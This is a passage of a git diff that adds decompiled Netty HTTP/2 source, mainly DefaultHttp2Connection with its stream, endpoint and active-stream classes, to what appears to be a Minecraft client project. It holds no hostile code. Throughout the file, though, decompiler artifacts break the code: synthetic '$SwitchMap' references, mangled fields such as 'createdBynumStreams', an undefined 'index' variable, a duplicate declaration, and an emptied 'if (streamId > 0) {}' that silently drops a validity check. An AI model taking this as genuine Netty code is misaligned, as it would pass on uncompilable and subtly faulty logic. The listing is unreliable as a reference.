+
+  public ChannelFuture writeGoAway(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData, ChannelPromise promise)
+  {
+    return delegate.writeGoAway(ctx, lastStreamId, errorCode, debugData, promise);
+  }
+  
+
+  public ChannelFuture writeWindowUpdate(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement, ChannelPromise promise)
+  {
+    return delegate.writeWindowUpdate(ctx, streamId, windowSizeIncrement, promise);
+  }
+  
+
+  public ChannelFuture writeFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload, ChannelPromise promise)
+  {
+    return delegate.writeFrame(ctx, frameType, streamId, flags, payload, promise);
+  }
+  
+  public Http2FrameWriter.Configuration configuration()
+  {
+    return delegate.configuration();
+  }
+  
+  public void close()
+  {
+    delegate.close();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Connection.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Connection.java
new file mode 100644
index 0000000..5488689
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Connection.java
@@ -0,0 +1,1236 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.collection.IntCollections;
+import io.netty.util.collection.IntObjectHashMap;
+import io.netty.util.collection.IntObjectMap;
+import io.netty.util.collection.IntObjectMap.PrimitiveEntry;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.concurrent.UnaryPromiseNotifier;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Queue;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2Connection
+  implements Http2Connection
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultHttp2Connection.class);
+  
+  final IntObjectMap<Http2Stream> streamMap = new IntObjectHashMap();
+  final PropertyKeyRegistry propertyKeyRegistry = new PropertyKeyRegistry(null);
+  final ConnectionStream connectionStream = new ConnectionStream();
+  
+
+
+  final DefaultEndpoint<Http2LocalFlowController> localEndpoint;
+  
+
+  final DefaultEndpoint<Http2RemoteFlowController> remoteEndpoint;
+  
+
+  private static final int INITIAL_CHILDREN_MAP_SIZE = Math.max(1, SystemPropertyUtil.getInt("io.netty.http2.childrenMapSize", 4));
+  
+
+
+
+
+
+  final List<Http2Connection.Listener> listeners = new ArrayList(4);
+  
+
+  final ActiveStreams activeStreams;
+  
+
+  Promise<Void> closePromise;
+  
+
+  public DefaultHttp2Connection(boolean server)
+  {
+    activeStreams = new ActiveStreams(listeners);
+    localEndpoint = new DefaultEndpoint(server);
+    remoteEndpoint = new DefaultEndpoint(!server);
+    
+
+    streamMap.put(connectionStream.id(), connectionStream);
+  }
+  
+
+
+  final boolean isClosed()
+  {
+    return closePromise != null;
+  }
+  
+  public Future<Void> close(Promise<Void> promise)
+  {
+    ObjectUtil.checkNotNull(promise, "promise");
+    
+
+    if (closePromise != null) {
+      if (closePromise != promise)
+      {
+        if (((promise instanceof ChannelPromise)) && (((ChannelPromise)closePromise).isVoid())) {
+          closePromise = promise;
+        } else
+          closePromise.addListener(new UnaryPromiseNotifier(promise));
+      }
+    } else {
+      closePromise = promise;
+    }
+    if (isStreamMapEmpty()) {
+      promise.trySuccess(null);
+      return promise;
+    }
+    
+    Iterator<IntObjectMap.PrimitiveEntry<Http2Stream>> itr = streamMap.entries().iterator();
+    
+
+    if (activeStreams.allowModifications()) {
+      activeStreams.incrementPendingIterations();
+      try {
+        while (itr.hasNext()) {
+          DefaultStream stream = (DefaultStream)((IntObjectMap.PrimitiveEntry)itr.next()).value();
+          if (stream.id() != 0)
+          {
+
+
+            stream.close(itr);
+          }
+        }
+      } finally {
+        activeStreams.decrementPendingIterations();
+      }
+    } else {
+      while (itr.hasNext()) {
+        Http2Stream stream = (Http2Stream)((IntObjectMap.PrimitiveEntry)itr.next()).value();
+        if (stream.id() != 0)
+        {
+
+          stream.close();
+        }
+      }
+    }
+    return closePromise;
+  }
+  
+  public void addListener(Http2Connection.Listener listener)
+  {
+    listeners.add(listener);
+  }
+  
+  public void removeListener(Http2Connection.Listener listener)
+  {
+    listeners.remove(listener);
+  }
+  
+  public boolean isServer()
+  {
+    return localEndpoint.isServer();
+  }
+  
+  public Http2Stream connectionStream()
+  {
+    return connectionStream;
+  }
+  
+  public Http2Stream stream(int streamId)
+  {
+    return (Http2Stream)streamMap.get(streamId);
+  }
+  
+  public boolean streamMayHaveExisted(int streamId)
+  {
+    return (remoteEndpoint.mayHaveCreatedStream(streamId)) || (localEndpoint.mayHaveCreatedStream(streamId));
+  }
+  
+  public int numActiveStreams()
+  {
+    return activeStreams.size();
+  }
+  
+  public Http2Stream forEachActiveStream(Http2StreamVisitor visitor) throws Http2Exception
+  {
+    return activeStreams.forEachActiveStream(visitor);
+  }
+  
+  public Http2Connection.Endpoint<Http2LocalFlowController> local()
+  {
+    return localEndpoint;
+  }
+  
+  public Http2Connection.Endpoint<Http2RemoteFlowController> remote()
+  {
+    return remoteEndpoint;
+  }
+  
+  public boolean goAwayReceived()
+  {
+    return localEndpoint.lastStreamKnownByPeer >= 0;
+  }
+  
+  public void goAwayReceived(final int lastKnownStream, long errorCode, ByteBuf debugData)
+  {
+    localEndpoint.lastStreamKnownByPeer(lastKnownStream);
+    for (int i = 0; i < listeners.size(); i++) {
+      try {
+        ((Http2Connection.Listener)listeners.get(i)).onGoAwayReceived(lastKnownStream, errorCode, debugData);
+      } catch (Throwable cause) {
+        logger.error("Caught Throwable from listener onGoAwayReceived.", cause);
+      }
+    }
+    try
+    {
+      forEachActiveStream(new Http2StreamVisitor()
+      {
+        public boolean visit(Http2Stream stream) {
+          if ((stream.id() > lastKnownStream) && (localEndpoint.isValidStreamId(stream.id()))) {
+            stream.close();
+          }
+          return true;
+        }
+      });
+    } catch (Http2Exception e) {
+      PlatformDependent.throwException(e);
+    }
+  }
+  
+  public boolean goAwaySent()
+  {
+    return remoteEndpoint.lastStreamKnownByPeer >= 0;
+  }
+  
+  public void goAwaySent(final int lastKnownStream, long errorCode, ByteBuf debugData)
+  {
+    remoteEndpoint.lastStreamKnownByPeer(lastKnownStream);
+    for (int i = 0; i < listeners.size(); i++) {
+      try {
+        ((Http2Connection.Listener)listeners.get(i)).onGoAwaySent(lastKnownStream, errorCode, debugData);
+      } catch (Throwable cause) {
+        logger.error("Caught Throwable from listener onGoAwaySent.", cause);
+      }
+    }
+    try
+    {
+      forEachActiveStream(new Http2StreamVisitor()
+      {
+        public boolean visit(Http2Stream stream) {
+          if ((stream.id() > lastKnownStream) && (remoteEndpoint.isValidStreamId(stream.id()))) {
+            stream.close();
+          }
+          return true;
+        }
+      });
+    } catch (Http2Exception e) {
+      PlatformDependent.throwException(e);
+    }
+  }
+  
+
+
+  private boolean isStreamMapEmpty()
+  {
+    return streamMap.size() == 1;
+  }
+  
+
+
+
+
+
+  void removeStream(DefaultStream stream, Iterator<?> itr)
+  {
+    if (stream.parent().removeChild(stream)) {
+      if (itr == null) {
+        streamMap.remove(stream.id());
+      } else {
+        itr.remove();
+      }
+      
+      for (int i = 0; i < listeners.size(); i++) {
+        try {
+          ((Http2Connection.Listener)listeners.get(i)).onStreamRemoved(stream);
+        } catch (Throwable cause) {
+          logger.error("Caught Throwable from listener onStreamRemoved.", cause);
+        }
+      }
+      
+      if ((closePromise != null) && (isStreamMapEmpty())) {
+        closePromise.trySuccess(null);
+      }
+    }
+  }
+  
+  static Http2Stream.State activeState(int streamId, Http2Stream.State initialState, boolean isLocal, boolean halfClosed) throws Http2Exception
+  {
+    switch (3.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[initialState.ordinal()]) {
+    case 1: 
+      return halfClosed ? Http2Stream.State.HALF_CLOSED_REMOTE : isLocal ? Http2Stream.State.HALF_CLOSED_LOCAL : Http2Stream.State.OPEN;
+    case 2: 
+      return Http2Stream.State.HALF_CLOSED_REMOTE;
+    case 3: 
+      return Http2Stream.State.HALF_CLOSED_LOCAL;
+    }
+    throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "Attempting to open a stream in an invalid state: " + initialState, new Object[0]);
+  }
+  
+
+  void notifyHalfClosed(Http2Stream stream)
+  {
+    for (int i = 0; i < listeners.size(); i++) {
+      try {
+        ((Http2Connection.Listener)listeners.get(i)).onStreamHalfClosed(stream);
+      } catch (Throwable cause) {
+        logger.error("Caught Throwable from listener onStreamHalfClosed.", cause);
+      }
+    }
+  }
+  
+  void notifyClosed(Http2Stream stream) {
+    for (int i = 0; i < listeners.size(); i++) {
+      try {
+        ((Http2Connection.Listener)listeners.get(i)).onStreamClosed(stream);
+      } catch (Throwable cause) {
+        logger.error("Caught Throwable from listener onStreamClosed.", cause);
+      }
+    }
+  }
+  
+  public Http2Connection.PropertyKey newKey()
+  {
+    return propertyKeyRegistry.newKey();
+  }
+  
+
+
+
+
+
+
+  final DefaultPropertyKey verifyKey(Http2Connection.PropertyKey key)
+  {
+    return ((DefaultPropertyKey)ObjectUtil.checkNotNull((DefaultPropertyKey)key, "key")).verifyConnection(this);
+  }
+  
+
+  private class DefaultStream
+    implements Http2Stream
+  {
+    private final int id;
+    private final PropertyMap properties = new PropertyMap(null);
+    private Http2Stream.State state;
+    private short weight = 16;
+    private DefaultStream parent;
+    private IntObjectMap<DefaultStream> children = IntCollections.emptyMap();
+    private boolean resetSent;
+    
+    DefaultStream(int id, Http2Stream.State state) {
+      this.id = id;
+      this.state = state;
+    }
+    
+    public final int id()
+    {
+      return id;
+    }
+    
+    public final Http2Stream.State state()
+    {
+      return state;
+    }
+    
+    public boolean isResetSent()
+    {
+      return resetSent;
+    }
+    
+    public Http2Stream resetSent()
+    {
+      resetSent = true;
+      return this;
+    }
+    
+    public final <V> V setProperty(Http2Connection.PropertyKey key, V value)
+    {
+      return properties.add(verifyKey(key), value);
+    }
+    
+    public final <V> V getProperty(Http2Connection.PropertyKey key)
+    {
+      return properties.get(verifyKey(key));
+    }
+    
+    public final <V> V removeProperty(Http2Connection.PropertyKey key)
+    {
+      return properties.remove(verifyKey(key));
+    }
+    
+    public final boolean isRoot()
+    {
+      return parent == null;
+    }
+    
+    public final short weight()
+    {
+      return weight;
+    }
+    
+    public final DefaultStream parent()
+    {
+      return parent;
+    }
+    
+    public final boolean isDescendantOf(Http2Stream stream)
+    {
+      Http2Stream next = parent();
+      while (next != null) {
+        if (next == stream) {
+          return true;
+        }
+        next = next.parent();
+      }
+      return false;
+    }
+    
+    public final boolean isLeaf()
+    {
+      return numChildren() == 0;
+    }
+    
+    public final int numChildren()
+    {
+      return children.size();
+    }
+    
+    public Http2Stream forEachChild(Http2StreamVisitor visitor) throws Http2Exception
+    {
+      for (DefaultStream stream : children.values()) {
+        if (!visitor.visit(stream)) {
+          return stream;
+        }
+      }
+      return null;
+    }
+    
+    public Http2Stream setPriority(int parentStreamId, short weight, boolean exclusive) throws Http2Exception
+    {
+      if ((weight < 1) || (weight > 256)) {
+        throw new IllegalArgumentException(String.format("Invalid weight: %d.  Must be between %d and %d (inclusive).", new Object[] { Short.valueOf(weight), Short.valueOf(1), Short.valueOf(256) }));
+      }
+      
+
+      DefaultStream newParent = (DefaultStream)stream(parentStreamId);
+      if (newParent == null)
+      {
+
+        newParent = createdBy().createIdleStream(parentStreamId);
+      } else if (this == newParent) {
+        throw new IllegalArgumentException("A stream cannot depend on itself");
+      }
+      
+
+      weight(weight);
+      
+      if ((newParent != parent()) || ((exclusive) && (newParent.numChildren() != 1))) {
+        List<DefaultHttp2Connection.ParentChangedEvent> events;
+        if (newParent.isDescendantOf(this)) {
+          List<DefaultHttp2Connection.ParentChangedEvent> events = new ArrayList(2 + (exclusive ? newParent.numChildren() : 0));
+          parent.takeChild(newParent, false, events);
+        } else {
+          events = new ArrayList(1 + (exclusive ? newParent.numChildren() : 0));
+        }
+        newParent.takeChild(this, exclusive, events);
+        DefaultHttp2Connection.this.notifyParentChanged(events);
+      }
+      
+      return this;
+    }
+    
+    public Http2Stream open(boolean halfClosed) throws Http2Exception
+    {
+      state = DefaultHttp2Connection.activeState(id, state, isLocal(), halfClosed);
+      if (!createdBy().canOpenStream()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Maximum active streams violated for this endpoint.", new Object[0]);
+      }
+      activate();
+      return this;
+    }
+    
+    void activate() {
+      activeStreams.activate(this);
+    }
+    
+    Http2Stream close(Iterator<?> itr) {
+      if (state == Http2Stream.State.CLOSED) {
+        return this;
+      }
+      
+      state = Http2Stream.State.CLOSED;
+      
+      createdBynumStreams -= 1;
+      activeStreams.deactivate(this, itr);
+      return this;
+    }
+    
+    public Http2Stream close()
+    {
+      return close(null);
+    }
+    
+    public Http2Stream closeLocalSide()
+    {
+      switch (DefaultHttp2Connection.3.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[state.ordinal()]) {
+      case 4: 
+        state = Http2Stream.State.HALF_CLOSED_LOCAL;
+        notifyHalfClosed(this);
+        break;
+      case 5: 
+        break;
+      default: 
+        close();
+      }
+      
+      return this;
+    }
+    
+    public Http2Stream closeRemoteSide()
+    {
+      switch (DefaultHttp2Connection.3.$SwitchMap$io$netty$handler$codec$http2$Http2Stream$State[state.ordinal()]) {
+      case 4: 
+        state = Http2Stream.State.HALF_CLOSED_REMOTE;
+        notifyHalfClosed(this);
+        break;
+      case 6: 
+        break;
+      default: 
+        close();
+      }
+      
+      return this;
+    }
+    
+    private void initChildrenIfEmpty() {
+      if (children == IntCollections.emptyMap()) {
+        initChildren();
+      }
+    }
+    
+    private void initChildren() {
+      children = new IntObjectHashMap(DefaultHttp2Connection.INITIAL_CHILDREN_MAP_SIZE);
+    }
+    
+    DefaultHttp2Connection.DefaultEndpoint<? extends Http2FlowController> createdBy() {
+      return localEndpoint.isValidStreamId(id) ? localEndpoint : remoteEndpoint;
+    }
+    
+    final boolean isLocal() {
+      return localEndpoint.isValidStreamId(id);
+    }
+    
+    final void weight(short weight) {
+      if (weight != this.weight) {
+        short oldWeight = this.weight;
+        this.weight = weight;
+        for (int i = 0; i < listeners.size(); i++) {
+          try {
+            ((Http2Connection.Listener)listeners.get(i)).onWeightChanged(this, oldWeight);
+          } catch (Throwable cause) {
+            DefaultHttp2Connection.logger.error("Caught Throwable from listener onWeightChanged.", cause);
+          }
+        }
+      }
+    }
+    
+
+
+
+
+    private IntObjectMap<DefaultStream> retain(DefaultStream streamToRetain)
+    {
+      streamToRetain = (DefaultStream)children.remove(streamToRetain.id());
+      IntObjectMap<DefaultStream> prevChildren = children;
+      
+
+      initChildren();
+      if (streamToRetain != null) {
+        children.put(streamToRetain.id(), streamToRetain);
+      }
+      return prevChildren;
+    }
+    
+
+
+
+    final void takeChild(DefaultStream child, boolean exclusive, List<DefaultHttp2Connection.ParentChangedEvent> events)
+    {
+      DefaultStream oldParent = child.parent();
+      
+      if (oldParent != this) {
+        events.add(new DefaultHttp2Connection.ParentChangedEvent(child, oldParent));
+        DefaultHttp2Connection.this.notifyParentChanging(child, this);
+        parent = this;
+        
+
+
+        if (oldParent != null) {
+          children.remove(child.id());
+        }
+        
+
+        initChildrenIfEmpty();
+        
+        Http2Stream oldChild = (Http2Stream)children.put(child.id(), child);
+        assert (oldChild == null) : "A stream with the same stream ID was already in the child map.";
+      }
+      
+      if ((exclusive) && (!children.isEmpty()))
+      {
+
+        for (DefaultStream grandchild : retain(child).values()) {
+          child.takeChild(grandchild, false, events);
+        }
+      }
+    }
+    
+
+
+    final boolean removeChild(DefaultStream child)
+    {
+      if (children.remove(child.id()) != null) {
+        List<DefaultHttp2Connection.ParentChangedEvent> events = new ArrayList(1 + child.numChildren());
+        events.add(new DefaultHttp2Connection.ParentChangedEvent(child, child.parent()));
+        DefaultHttp2Connection.this.notifyParentChanging(child, null);
+        parent = null;
+        
+
+        for (DefaultStream grandchild : children.values()) {
+          takeChild(grandchild, false, events);
+        }
+        
+        DefaultHttp2Connection.this.notifyParentChanged(events);
+        return true;
+      }
+      return false;
+    }
+    
+    private class PropertyMap
+    {
+      private PropertyMap() {}
+      
+      Object[] values = EmptyArrays.EMPTY_OBJECTS;
+      
+      <V> V add(DefaultHttp2Connection.DefaultPropertyKey key, V value) {
+        resizeIfNecessary(index);
+        
+        V prevValue = values[index];
+        values[index] = value;
+        return prevValue;
+      }
+      
+      <V> V get(DefaultHttp2Connection.DefaultPropertyKey key)
+      {
+        if (index >= values.length) {
+          return null;
+        }
+        return values[index];
+      }
+      
+      <V> V remove(DefaultHttp2Connection.DefaultPropertyKey key)
+      {
+        V prevValue = null;
+        if (index < values.length) {
+          prevValue = values[index];
+          values[index] = null;
+        }
+        return prevValue;
+      }
+      
+      void resizeIfNecessary(int index) {
+        if (index >= values.length) {
+          values = Arrays.copyOf(values, propertyKeyRegistry.size());
+        }
+      }
+    }
+  }
+  
+
+
+  private static final class ParentChangedEvent
+  {
+    private final Http2Stream stream;
+    
+
+    private final Http2Stream oldParent;
+    
+
+
+    ParentChangedEvent(Http2Stream stream, Http2Stream oldParent)
+    {
+      this.stream = stream;
+      this.oldParent = oldParent;
+    }
+    
+
+
+    public void notifyListener(Http2Connection.Listener l)
+    {
+      try
+      {
+        l.onPriorityTreeParentChanged(stream, oldParent);
+      } catch (Throwable cause) {
+        DefaultHttp2Connection.logger.error("Caught Throwable from listener onPriorityTreeParentChanged.", cause);
+      }
+    }
+  }
+  
+
+
+
+  private void notifyParentChanged(List<ParentChangedEvent> events)
+  {
+    for (int i = 0; i < events.size(); i++) {
+      ParentChangedEvent event = (ParentChangedEvent)events.get(i);
+      for (int j = 0; j < listeners.size(); j++) {
+        event.notifyListener((Http2Connection.Listener)listeners.get(j));
+      }
+    }
+  }
+  
+  private void notifyParentChanging(Http2Stream stream, Http2Stream newParent) {
+    for (int i = 0; i < listeners.size(); i++) {
+      try {
+        ((Http2Connection.Listener)listeners.get(i)).onPriorityTreeParentChanging(stream, newParent);
+      } catch (Throwable cause) {
+        logger.error("Caught Throwable from listener onPriorityTreeParentChanging.", cause);
+      }
+    }
+  }
+  
+  private final class ConnectionStream
+    extends DefaultHttp2Connection.DefaultStream
+  {
+    ConnectionStream()
+    {
+      super(0, Http2Stream.State.IDLE);
+    }
+    
+    public boolean isResetSent()
+    {
+      return false;
+    }
+    
+    DefaultHttp2Connection.DefaultEndpoint<? extends Http2FlowController> createdBy()
+    {
+      return null;
+    }
+    
+    public Http2Stream resetSent()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Http2Stream setPriority(int parentStreamId, short weight, boolean exclusive)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Http2Stream open(boolean halfClosed)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Http2Stream close()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Http2Stream closeLocalSide()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Http2Stream closeRemoteSide()
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+  private final class DefaultEndpoint<F extends Http2FlowController>
+    implements Http2Connection.Endpoint<F>
+  {
+    private final boolean server;
+    
+
+
+    private int nextStreamIdToCreate;
+    
+
+
+    private int nextReservationStreamId;
+    
+
+
+    private int lastStreamKnownByPeer = -1;
+    private boolean pushToAllowed = true;
+    private F flowController;
+    private int maxActiveStreams;
+    private int maxStreams;
+    int numActiveStreams;
+    int numStreams;
+    
+    DefaultEndpoint(boolean server)
+    {
+      this.server = server;
+      
+
+
+
+
+      if (server) {
+        nextStreamIdToCreate = 2;
+        nextReservationStreamId = 0;
+      } else {
+        nextStreamIdToCreate = 1;
+        
+        nextReservationStreamId = 1;
+      }
+      
+
+      pushToAllowed = (!server);
+      maxStreams = (this.maxActiveStreams = Integer.MAX_VALUE);
+    }
+    
+    public int incrementAndGetNextStreamId()
+    {
+      return nextReservationStreamId >= 0 ? this.nextReservationStreamId += 2 : nextReservationStreamId;
+    }
+    
+    private void incrementExpectedStreamId(int streamId) {
+      if ((streamId > nextReservationStreamId) && (nextReservationStreamId >= 0)) {
+        nextReservationStreamId = streamId;
+      }
+      nextStreamIdToCreate = (streamId + 2);
+      numStreams += 1;
+    }
+    
+    public boolean isValidStreamId(int streamId)
+    {
+      if (streamId > 0) {} return server == ((streamId & 0x1) == 0);
+    }
+    
+    public boolean mayHaveCreatedStream(int streamId)
+    {
+      return (isValidStreamId(streamId)) && (streamId <= lastStreamCreated());
+    }
+    
+    public boolean canOpenStream()
+    {
+      return numActiveStreams < maxActiveStreams;
+    }
+    
+    private DefaultHttp2Connection.DefaultStream createStream(int streamId, Http2Stream.State state) throws Http2Exception {
+      checkNewStreamAllowed(streamId, state);
+      
+
+      DefaultHttp2Connection.DefaultStream stream = new DefaultHttp2Connection.DefaultStream(DefaultHttp2Connection.this, streamId, state);
+      
+      incrementExpectedStreamId(streamId);
+      
+      addStream(stream);
+      return stream;
+    }
+    
+    public DefaultHttp2Connection.DefaultStream createIdleStream(int streamId) throws Http2Exception
+    {
+      return createStream(streamId, Http2Stream.State.IDLE);
+    }
+    
+    public DefaultHttp2Connection.DefaultStream createStream(int streamId, boolean halfClosed) throws Http2Exception
+    {
+      DefaultHttp2Connection.DefaultStream stream = createStream(streamId, DefaultHttp2Connection.activeState(streamId, Http2Stream.State.IDLE, isLocal(), halfClosed));
+      stream.activate();
+      return stream;
+    }
+    
+    public boolean created(Http2Stream stream)
+    {
+      return ((stream instanceof DefaultHttp2Connection.DefaultStream)) && (((DefaultHttp2Connection.DefaultStream)stream).createdBy() == this);
+    }
+    
+    public boolean isServer()
+    {
+      return server;
+    }
+    
+    public DefaultHttp2Connection.DefaultStream reservePushStream(int streamId, Http2Stream parent) throws Http2Exception
+    {
+      if (parent == null) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Parent stream missing", new Object[0]);
+      }
+      if (isLocal() ? !parent.state().localSideOpen() : !parent.state().remoteSideOpen()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream %d is not open for sending push promise", new Object[] { Integer.valueOf(parent.id()) });
+      }
+      if (!opposite().allowPushTo()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Server push not allowed to opposite endpoint.", new Object[0]);
+      }
+      Http2Stream.State state = isLocal() ? Http2Stream.State.RESERVED_LOCAL : Http2Stream.State.RESERVED_REMOTE;
+      checkNewStreamAllowed(streamId, state);
+      
+
+      DefaultHttp2Connection.DefaultStream stream = new DefaultHttp2Connection.DefaultStream(DefaultHttp2Connection.this, streamId, state);
+      
+      incrementExpectedStreamId(streamId);
+      
+
+      addStream(stream);
+      return stream;
+    }
+    
+    private void addStream(DefaultHttp2Connection.DefaultStream stream)
+    {
+      streamMap.put(stream.id(), stream);
+      
+      List<DefaultHttp2Connection.ParentChangedEvent> events = new ArrayList(1);
+      connectionStream.takeChild(stream, false, events);
+      
+
+      for (int i = 0; i < listeners.size(); i++) {
+        try {
+          ((Http2Connection.Listener)listeners.get(i)).onStreamAdded(stream);
+        } catch (Throwable cause) {
+          DefaultHttp2Connection.logger.error("Caught Throwable from listener onStreamAdded.", cause);
+        }
+      }
+      
+      DefaultHttp2Connection.this.notifyParentChanged(events);
+    }
+    
+    public void allowPushTo(boolean allow)
+    {
+      if ((allow) && (server)) {
+        throw new IllegalArgumentException("Servers do not allow push");
+      }
+      pushToAllowed = allow;
+    }
+    
+    public boolean allowPushTo()
+    {
+      return pushToAllowed;
+    }
+    
+    public int numActiveStreams()
+    {
+      return numActiveStreams;
+    }
+    
+    public int maxActiveStreams()
+    {
+      return maxActiveStreams;
+    }
+    
+    public int maxStreams()
+    {
+      return maxStreams;
+    }
+    
+    public void maxStreams(int maxActiveStreams, int maxStreams) throws Http2Exception
+    {
+      if (maxStreams < maxActiveStreams) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "maxStream[%d] streams must be >= maxActiveStreams[%d]", new Object[] { Integer.valueOf(maxStreams), Integer.valueOf(maxActiveStreams) });
+      }
+      
+      this.maxStreams = maxStreams;
+      this.maxActiveStreams = maxActiveStreams;
+    }
+    
+    public int lastStreamCreated()
+    {
+      return nextStreamIdToCreate > 1 ? nextStreamIdToCreate - 2 : 0;
+    }
+    
+    public int lastStreamKnownByPeer()
+    {
+      return lastStreamKnownByPeer;
+    }
+    
+    private void lastStreamKnownByPeer(int lastKnownStream) {
+      lastStreamKnownByPeer = lastKnownStream;
+    }
+    
+    public F flowController()
+    {
+      return flowController;
+    }
+    
+    public void flowController(F flowController)
+    {
+      this.flowController = ((Http2FlowController)ObjectUtil.checkNotNull(flowController, "flowController"));
+    }
+    
+    public Http2Connection.Endpoint<? extends Http2FlowController> opposite()
+    {
+      return isLocal() ? remoteEndpoint : localEndpoint;
+    }
+    
+    private void checkNewStreamAllowed(int streamId, Http2Stream.State state) throws Http2Exception {
+      if ((goAwayReceived()) && (streamId > localEndpoint.lastStreamKnownByPeer())) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Cannot create stream %d since this endpoint has received a GOAWAY frame with last stream id %d.", new Object[] { Integer.valueOf(streamId), Integer.valueOf(localEndpoint.lastStreamKnownByPeer()) });
+      }
+      
+
+      if (streamId < 0) {
+        throw new Http2NoMoreStreamIdsException();
+      }
+      if (!isValidStreamId(streamId)) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Request stream %d is not correct for %s connection", new Object[] { Integer.valueOf(streamId), server ? "server" : "client" });
+      }
+      
+
+
+      if (streamId < nextStreamIdToCreate) {
+        throw Http2Exception.closedStreamError(Http2Error.PROTOCOL_ERROR, "Request stream %d is behind the next expected stream %d", new Object[] { Integer.valueOf(streamId), Integer.valueOf(nextStreamIdToCreate) });
+      }
+      
+      if (nextStreamIdToCreate <= 0) {
+        throw Http2Exception.connectionError(Http2Error.REFUSED_STREAM, "Stream IDs are exhausted for this endpoint.", new Object[0]);
+      }
+      if ((state.localSideOpen()) || (state.remoteSideOpen())) {
+        if (!canOpenStream()) {
+          throw Http2Exception.streamError(streamId, Http2Error.REFUSED_STREAM, "Maximum active streams violated for this endpoint.", new Object[0]);
+        }
+      } else if (numStreams == maxStreams) {
+        throw Http2Exception.streamError(streamId, Http2Error.REFUSED_STREAM, "Maximum streams violated for this endpoint.", new Object[0]);
+      }
+      if (isClosed()) {
+        throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, "Attempted to create stream id %d after connection was closed", new Object[] { Integer.valueOf(streamId) });
+      }
+    }
+    
+    private boolean isLocal()
+    {
+      return this == localEndpoint;
+    }
+  }
+  
+
+
+
+
+  static abstract interface Event
+  {
+    public abstract void process();
+  }
+  
+
+
+
+
+  private final class ActiveStreams
+  {
+    private final List<Http2Connection.Listener> listeners;
+    
+
+
+
+    private final Queue<DefaultHttp2Connection.Event> pendingEvents = new ArrayDeque(4);
+    private final Set<Http2Stream> streams = new LinkedHashSet();
+    private int pendingIterations;
+    
+    public ActiveStreams() {
+      this.listeners = listeners;
+    }
+    
+    public int size() {
+      return streams.size();
+    }
+    
+    public void activate(final DefaultHttp2Connection.DefaultStream stream) {
+      if (allowModifications()) {
+        addToActiveStreams(stream);
+      } else {
+        pendingEvents.add(new DefaultHttp2Connection.Event()
+        {
+          public void process() {
+            addToActiveStreams(stream);
+          }
+        });
+      }
+    }
+    
+    public void deactivate(final DefaultHttp2Connection.DefaultStream stream, final Iterator<?> itr) {
+      if ((allowModifications()) || (itr != null)) {
+        removeFromActiveStreams(stream, itr);
+      } else {
+        pendingEvents.add(new DefaultHttp2Connection.Event()
+        {
+
+
+          public void process()
+          {
+
+
+            if (stream.parent() == null) {
+              return;
+            }
+            removeFromActiveStreams(stream, itr);
+          }
+        });
+      }
+    }
+    
+    public Http2Stream forEachActiveStream(Http2StreamVisitor visitor) throws Http2Exception {
+      incrementPendingIterations();
+      try {
+        for (Http2Stream stream : streams) {
+          if (!visitor.visit(stream)) {
+            return stream;
+          }
+        }
+        return null;
+      } finally {
+        decrementPendingIterations();
+      }
+    }
+    
+    void addToActiveStreams(DefaultHttp2Connection.DefaultStream stream) {
+      if (streams.add(stream))
+      {
+        createdBynumActiveStreams += 1;
+        
+        for (int i = 0; i < listeners.size(); i++) {
+          try {
+            ((Http2Connection.Listener)listeners.get(i)).onStreamActive(stream);
+          } catch (Throwable cause) {
+            DefaultHttp2Connection.logger.error("Caught Throwable from listener onStreamActive.", cause);
+          }
+        }
+      }
+    }
+    
+    void removeFromActiveStreams(DefaultHttp2Connection.DefaultStream stream, Iterator<?> itr) {
+      if (streams.remove(stream))
+      {
+        createdBynumActiveStreams -= 1;
+        notifyClosed(stream);
+      }
+      removeStream(stream, itr);
+    }
+    
+    boolean allowModifications() {
+      return pendingIterations == 0;
+    }
+    
+    void incrementPendingIterations() {
+      pendingIterations += 1;
+    }
+    
+    void decrementPendingIterations() {
+      pendingIterations -= 1;
+      if (allowModifications()) {
+        for (;;) {
+          DefaultHttp2Connection.Event event = (DefaultHttp2Connection.Event)pendingEvents.poll();
+          if (event == null) {
+            break;
+          }
+          try {
+            event.process();
+          } catch (Throwable cause) {
